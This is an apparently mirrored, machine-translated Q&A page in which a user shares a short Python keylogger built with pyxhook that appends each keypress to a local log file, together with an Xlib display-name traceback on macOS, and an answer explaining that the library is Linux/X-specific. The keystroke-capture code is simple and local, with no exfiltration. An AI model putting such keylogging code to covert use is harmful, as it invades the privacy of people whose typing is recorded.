简体   繁体   English

Python 键盘记录器(.error.DisplayNameError:错误的显示名称“”)

[英]Python Key-logger (.error.DisplayNameError: Bad display name “”)

I was following up on a tutorial to build a python keylogger and ended up with this problem.我正在跟进构建 python 键盘记录器的教程并最终遇到了这个问题。 I have gone over my codes about 10 times and compared it with other sources but yet still getting the same error.我已经检查了我的代码大约 10 次,并将其与其他来源进行了比较,但仍然得到相同的错误。 I have seen similar complaints while looking for a solution, and I hypothesize that it might be my computer( Mac OSX 10.12 sierra, MacBook Pro (13-inch, Mid 2010)).我在寻找解决方案时看到了类似的投诉,我假设它可能是我的电脑(Mac OSX 10.12 sierra,MacBook Pro(13 英寸,2010 年中))。 I am not a computer expert so I am not too sure.我不是计算机专家,所以我不太确定。 If it is my system architecture, how do I by-pass it?如果是我的系统架构,我该如何绕过它? if not, what am I missing in the code or where is my error?如果没有,我在代码中遗漏了什么或者我的错误在哪里?

 import pyxhook

log_file =  "/Users/VemPC/Desktop/log_file.log"


def onPress(event):
    fob = open(log_file, 'a')
    fob.write(event.key)
    fob.write('\n')
    if event.key.ascii == 96 :
        fob.close()
        new_hook.cancel()


new_hook = pyxhook.HookManager()
new_hook.KeyDown = onPress
new_hook.HookKeyboard()
new_hook.start()





 Error:
Traceback (most recent call last):
  File "key_logger.py", line 15, in <module>
    new_hook = pyxhook.HookManager()
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/pyxhook/pyxhook.py", line 67, in __init__
    self.local_dpy = display.Display()
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/display.py", line 89, in __init__
    self.display = _BaseDisplay(display)
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/display.py", line 71, in __init__
    protocol_display.Display.__init__(self, *args, **keys)
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/protocol/display.py", line 85, in __init__
    name, protocol, host, displayno, screenno = connect.get_display(display)
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display
    return mod.get_display(display)
  File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/support/unix_connect.py", line 61, in get_display
    raise error.DisplayNameError(display)
Xlib.error.DisplayNameError: Bad display name ""

pyxhook seems to be a linux specific library. pyxhook 似乎是一个 linux 特定库。 Specifically, it is an implementation of PyHook for linux, using X, the window system library.具体来说,它是 linux 的 PyHook 实现,使用 X,window 系统库。 MacOS provides some support for this, but not all, as MacOS is not built on X. It seems like you won't be able to use this library on your system. MacOS 对此提供了一些支持,但不是全部,因为 MacOS 不是基于 X 构建的。看来您将无法在系统上使用此库。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM